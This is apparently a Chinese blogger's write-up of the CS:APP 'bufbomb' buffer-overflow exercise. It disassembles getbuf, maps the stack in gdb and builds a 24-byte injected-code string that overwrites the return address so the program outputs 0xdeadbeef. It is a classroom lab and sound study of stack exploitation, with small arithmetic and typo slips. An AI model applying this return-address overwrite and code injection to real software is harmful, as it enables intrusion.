前几天拿到的《深入理解计算机系统》,今天看到第三章。第三章的38题描述颇为诱人:“你可以获得准备缓冲区溢出攻击的第一手经验”,黑客殿堂的大门似乎就在我眼前晃来晃去。之前也曾阅读过一些有关缓冲区溢出的文章,但都是走马观花,过眼即忘,这次算是第一次自己动手,对过程调用有了点清醒的认识,有点拨开乌云见日月的感觉,可见计算机知识的学习和掌握是绝对离不开实践的。
该题程序源码可在官方网站下载:http://csapp.cs.cmu.edu/public/ics/code/asm/bufbomb.c。要求是简单的对提示符输入一个适当的16进制字符串使得输出为:0xdeadbeef。
在intel机器、win2000下用cygwin来模拟完成这次实验。
1.反汇编
首先生成可执行文件:
$ gcc -o bomb bufbomb.c
反汇编可执行文件:
$ objdump -d bomb.exe > out.txt
2.分析
getbuf的代码摘要如下:
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
反汇编代码为:
00401130 <_getbuf>:
401130: 55 push %ebp
401131: 89 e5 mov %esp,%ebp
401133: 83 ec 18 sub $0x18,%esp
401136: 83 c4 f4 add $0xfffffff4,%esp
401139: 8d 45 f0 lea 0xfffffff0(%ebp),%eax
40113c: 50 push %eax
40113d: e8 02 ff ff ff call 401044 <_getxs>
401142: 83 c4 10 add $0x10,%esp
401145: b8 01 00 00 00 mov $0x1,%eax
40114a: eb 00 jmp 40114c <_getbuf+0x1c>
40114c: 89 ec mov %ebp,%esp
40114e: 5d pop %ebp
40114f: c3 ret
401130 – 401131:保存其调用者的栈帧,为getbuf过程创建一个新的栈帧。
401133 – 401136:为栈帧分配空间,大小为0x18+0x12=0x2a个字节。
401136 – 40113c:保存buf的地址,供getxs过程使用。
当程序调用getxs过程时,getbuf栈帧结构如下图所示:
返回地址1
0x38
旧%ebp值
0x34
0x30
0x2c
0x28
0x24(这里就是存储buf内容的起始地址)
0x20
0x1c
0x18
0x14
0x10
0x24
0xc
返回地址2
0x8
新%ebp值
0x4
0x0
图1 :栈帧结构 (图中的地址均为相对地址)
40113c:将1做为返回值赋给%eax。
40114c – 40114e:恢复旧%ebp值,调整%esp,使其指向返回地址1。
4011ef:弹出返回地址1,赋给%eip,执行该处的指令。
输入从0x24开始,实现缓冲溢出攻击的方法是让输入溢出,覆盖返回地址1,使其指向我们的功能代码,完成必要的工作,再跳回原来的执行序列。
注意到40113c指令,如果能够改写%eax的值为0xdeadbeaf,那么整个任务也就完成了。为了达到这个目的,输入的16进制字符串具有这样的形式(总共24个字节):
(功能代码) (可能的多余字节)(旧%ebp的值)(指向功能代码的地址)
指向功能代码地址就是图1的相对地址0x24,其实际地址需要调试来获得;旧%ebp的值也需要调试才能确定。
3.调试
用gdb调试:
$ gdb bomb.exe
Ctrl+N打开console控制台,在getbuf函数设置断点并启动程序:
(gdb) b getbuf
(gdb) r
此时程序运行到了401136 行,(%ebp)的值就是旧%ebp的值,4(%ebp)的值为返回地址值。在Register窗口查看%ebp中的值:0x22efb4,在Memory窗口下查看地址0x22efb4和0x22efb8的值:0x0022efd4,0x00401193。
当程序调用getxs过程时,getbuf栈帧结构如下图所示:
{0x00401193}(返回地址1)
0x22efb8
{0x0022efd4}(旧%ebp的值)
0x22efb4
0x22efb0
0x22efac
0x22efa8
0x22efa4(这里就是存储buf内容的起始地址)
0x22efa0
0x22ef9c
0x22ef98
0x22ef94
0x22ef90
{0x0022efa4}
0x22ef8c
{0x00401142}(返回地址2)
0x22ef88
{0x0022efb4}(新%ebp的值)
0x22ef84
0x22ef80
图2 :栈帧结构 (图中的地址为绝对地址)
4.功能代码
现在,已知旧%ebp值为0x0022efd4,存储buf内容的起始地址为0x0022efa4,所以输入的16进制字符串具有如下形式(总共24个字节):
(功能代码) (可能的多余字节)d4 ef 22 00 a4 ef 22 00
功能代码所需执行的功能:首先对%eax赋予0xdeadbeef,然后跳转到正确的执行序列上。下面这几行汇编代码能够正确完成这些功能。
mov $0xdeadbeef, %eax
push $0x401193
ret
push指令将正确的执行代码的地址入栈,ret指令将该地址弹出并设置%eip,因此整个栈的信息并没有被破坏。
保存汇编代码到show.s文件中,对其汇编:
$ gcc –c show.s
反汇编所得到的文件:
$ objdump –d show.o
获得的信息如下:
show.o: file format pe-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 ef be ad de mov $0xdeadbeef,%eax
5: 68 93 11 40 00 push $0x401193
a: c3 ret
b: 90 nop
因此功能代码的16进制表示就是:b8 ef be ad de 68 93 11 40 00 c3
5.答案
输入的16进制字符串为:
b8 ef be ad de 68 93 11 40 00 c3 00 00 00 00 00 d4 ef 22 00 a4 ef 22 00
运行bomb程序,验证可知这个字符串可以完成需要的功能。正如书中所提到的,这个字符串的内容在不同的机器不同编译环境下是不同的。